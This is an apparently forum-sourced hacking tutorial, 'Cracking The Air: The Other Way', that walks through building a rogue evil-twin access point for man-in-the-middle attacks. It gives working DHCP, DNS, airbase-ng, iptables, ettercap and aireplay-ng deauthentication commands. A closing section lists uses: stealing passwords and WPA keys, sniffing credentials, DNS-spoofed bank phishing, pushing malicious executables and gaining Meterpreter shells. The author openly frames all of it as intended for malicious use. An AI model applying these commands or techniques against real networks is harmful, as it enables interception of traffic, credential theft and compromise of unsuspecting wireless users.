Cracking The Air: The Other Way

By: HitThemHard

Introduction:

Gain a root shell? In only a few minutes? Thats just one of the many things you can do with a Properly Executed MITM attack.

A MITM (Man In The Middle) attack is when you turn your computer into a relay between two clients, in this case: A Wireless Access Point. Essentially you become one of the Tracehops, as I call the hops in a trace route scan. Essentially the goal of a MITM attack is to sniff, spoof, and phish. The ability to directly attack the client and gain a shell is just a nice little bonus, of course, I've never known anyone to give up a good shell. The only negative part is you must have physical access (yes wireless counts as physical according to the OSI model), of course you could always set it up on a rooted box.

The ways you could exploit clients in a MITM attack are endless and only limited by two things; your imagination, and the level of malevolence in your intentions. That is to say: **very** little can be done if you do not have bad intentions. So by now you have a huge question in your mind, "How can I do this super cool attack?". I will outline in this paper the very simplest way to get started with a MITM attack, then outline, the things you can do once you have it set up.

There are relatively few tools needed to set up a MITM attack, but to exploit it at all you will need more, and maybe a bit of coding experience to get the full potential out of it. The base of a MITM attack (a Access Point) is made up of: airbase-ng (in aircrack's suite), bind9, and dhcp3-server. I also recommend you get Nessus, nmap, wireshark, ettercap, thc-hydra, metasploit, NetworkMiner, wine, cowpatty, nikto, ah hell, just bring them all, cause you never know.

Although you can perform a MITM attack with two wireless interfaces (In/Out), you may want to grab an extra one, cause you never know. Make sure they are fully supported for monitor mode and injection. On the victims side for the bare minimum you need: a wireless client, and that's it.

I shall assume in this paper you are running a bash console (which is probably true if you don't understand what that means) with all the necessary tools, wireless interfaces shall be eth0, and eth1 respectively. It is very important that you read every paragraph as I am not one to bold every important word, if you need that much help, you shouldn't be doing this. I take no responsibility for what you do with this knowledge.

Setup:

Luckily you only have to do this once, it is the commands and such that allows your computer to function as a fully functional gateway. First you must set up the configuration files for your DHCP, that is to say; open up your favorite text editor as root and open: */etc/default/dhcp3-server* now find the line *...INTERFACES=,* and put in the interface that shall be your AP, eth1 in this tutorial. Save it and exit. Now open up this file: */etc/dhcp3/dhcpd.conf,* and put in this:

```
ddns-update-style none;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.150;
option domain-name-servers 10.0.0.1;
option routers 10.0.0.1;
default-lease-time 600;
max-lease-time 7200;
}
```

This will make anyone who attempts to connect to you be put in a subnet range of 10.0.0.100 to 10.0.0.254. It will declare that you are 10.0.0.1, and that you have a DNS server on your computer. Which you will. Now run this last command to finalize your DHCP server: *sudo /etc/init.d/dhcp3-server restart.*

If you want to be a real cool guy you can even set a loopback connection so that you can use exploits and such without a second machine, open up */etc/network/interfaces*, after **BACKING IT UP.** Now make sure you have:

```
auto lo eth1
iface eth1 inet dhcp
iface lo inet loopback
```

Now run this command: *sudo /etc/init.d/networking restart*

Now that you have a DHCP server you need to get your DNS server up and running. If you will remember I told you to install bind9, if you havent already, do so now.

Bind9 comes already (mostly) configured, so all you have to do is set up your custom sites.... later. Right now run, */etc/init.d/bind9 stop*, now open up */etc/bind/named.conf.options*. Uncomment the forwarders lines and add in alternative DNS servers, I use the OpenDNS ones, so my conf file looks like this.

```
options {
directory "/var/cache/bind";
forwarders { 208.67.222.222; 208.67.220.220 };
auth-nxdomain no;
 listen-on-v6 { any; };
};
```

Now start it again: /etc/init.d/bind9 start. So there you have it, you are all set up, at least for the one time only parts.

Running it:

Once you are ready, connect to the Internet using eth0, probably by using a nearby OPN network, then run the following commands to kill some things that could cause conflictions, and give airbase power over the Access Point Interface (eth1), it will then start up.

```
kill `cat /var/run/dhcpd.pid`
killall -9 dhcp3-server dhcpd wireshark ettercap airbase-ng
airmon-ng stop eth1
ifconfig eth1 down
airmon-ng start eth1
modprobe tun
airbase-ng -e "ESSID" -P -C 30 -v eth1
```

I'd like to take about half a paragraph to explain that last command. ESSID is the one you want yourself to show up as, I recommend the ESSID of the network you are attacking. The -P switch makes your AP respond to all probes, gaining users very quickly. The -C 30 switch will change your responding packets in order to trick users into joining even if its the wrong SSID, this can put major strain on your Network card so you may have to leave it out. Make sure those commands complete before launching the next set.

Next you must set up your iptables and config for the Access Point: You will notice the interface at0, that is a "tap" interface that lets you attach a sniffer very easily. You must do all the following commands as quickly as possible, to finish before many clients try to join, so a shell script would be useful, or simply adding && in between each one.

```
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
ettercap -T -q -p -i at0
```

You now have a fully functional Access Point, along with a sniffer attached by the way (if you have ettercap, else you will get an error), but you may notice you aren't getting to many clients to connect, now comes the fun part. When I launch this command I imagine a probe flying through the air, destroying a tie between the client and server. But you can just imagine a deauth attack if you want to be boring. You will need to use either airodump-ng or kismet to find clients and gather information, then the following command to deauth them:

```
aireplay-ng -e TARGET_ESSID -a TARGET_AP_MAC -c TARGET_CLIENT_MAC --deauth 1 eth3"
```

If all goes well you can run the following command and see the client(s), who, if you are smart is relatively inactive. If they don't rejoin right away, they have a good network and you will have to do some hands-off social engineering, repeatedly deauthing an active client so that (s)he connects to yours, thinking it to be the good one, I hope you have a good backup plan for this, and enough intelligence/skill to pull it off. Remember: you have be close enough to flood them with responses so that they join you. Then you can run, drive, fly, take off in a Suburban with HHO injectors, w/e.

```
echo > '/var/state/dhcp/dhcpd.leases' OR sudo dhclient
```

So if you have followed all this, and have had no problems, you are now in the perfect position for some fun. If you haven't make sure you are set up right, then skip on down to IRC and beg for help, as there are far to many possible problems for me to list here.

The PayLoad:

Now that you have a small amount of clients, its time to learn to exploit them. You can do many things while in the position of the router. So I will give you a quick list of possibilities and a small description of each.

There are two basic types of payload; information, and shell. Generally a MITM attack is used for the former, ignoring the relative ease in which one can gain a shell.

Pilfer For information:

Between Samba and -perhaps- a few well written exploits you can quickly and -relatively- easily garner quite a bit of useful information. Including: passwords, WPA keys, Network information, among other things. Never mind the possibility for corporate information that you can steal.

If the Net Bios shares are 100% closed you can most likely use an exploit, phish an executable, or deploy an EvilGrade.

Sniff Traffic:

Boot up WireShark or Ettercap, and attach it to that "tap" interface I mentioned before (if you haven't already by the commands I told you to use), once it is up you can start applying filters and wait. This type of "pay load" takes patience. Yet it is easily as beneficial as a sweep through the system, imagine getting a Company Employees Email address, SHH password, and maybe even the Web Servers Database Simply by sitting there, I recommend you attempt to reconnect them to their native access point as soon as you can, this way you could monitor them for hours without them noticing (assuming that they aren't watching for rouge APs)

Using the previously mentioned "Network miner' you can even recreate most of the files that people download.

Phishing:

By hosting a dns server on your rogue AP, you can force clients to go to a different site, stealing their bank passwords, or any other SSL sites. This would require changing the dns server, and you would need a webserver on your box.

A very quick and dirty way to do this is to save the html file of a site they may visit, and keep them all in your apache webserver. You then change the dns entries of your box so that those sites point to your html pages I find this site nice for a quicky (bind9 works on all linux boxes, the site is just for ubuntu) http://ulyssesonline.com/2007/11/07/how-to-setup-a-dns-server-in-ubuntu/

Deploy Executables:

You can Deploy Executables, primarily to gain shell, in many ways, a few of which being:

-An ettercap filter, that will change download links to a link to your files.
-An Evilgrade that will prompt the user for a Java, Notepad++, Internet Explorer, or many other upgrades, that will actually link to malicious executables.
-A simple Copy Paste into a windows share, you can guess how to do that right?
-Iframe exploits which are covered in a bit.

Iframe Exploits:

Iframes are basically little pieces of code that link you to another site or file, and simply viewing them is enough to have a malicious hole opened up in your(or your victims) computer/browser, most of them are patched, but some aren't and so a filter to appending an iframe exploit to an http page might be a nice technique to use. Many Exploits posted on Milw0rm are/can be iframe exploits, at least for the browsers. There are also lots of packs on the internet available full of iframe exploits, chances are a few will work. Heres a quick tip: capturing the browser header so you can launch the right exploit, that would probably be better than blindly attacking them.

Meterpreter:

Meterpreter is a reverse connecting shell interface that has many functions built right in including; a remote keylogger, registry dumpers, an exploit database, and file managers. You can even write scripts for it, just like a bash console. It is, if you couldn't tell by the name, built off of metasploit, but it is compiled manually into an executable file. You would still need to deploy it, but its such a good application I couldn't help but mention it.

Greetz to:

The Gang at Intern0t.net, who hosted a test version of this paper to see how it would be recieved.
The Gang over at blackhat-forums.com, without them I'd still be a miserable nub, noone make any comments :p
MaXe_Legends: Who read over my paper, and corrected a few technical errors, as well as gave me a few new ideas.
Caronet (Deadc0de): For helping me through the first little bit that I found extremely hard to grasp, and forcefully ripping me from my Script Kiddy Stage.
Dark_Pontifex: Same as Caronet, just more recently, minus the Script Kiddy Part.

I'm sure I'm forgetting some people... but oh well, If I forgot you, sorry.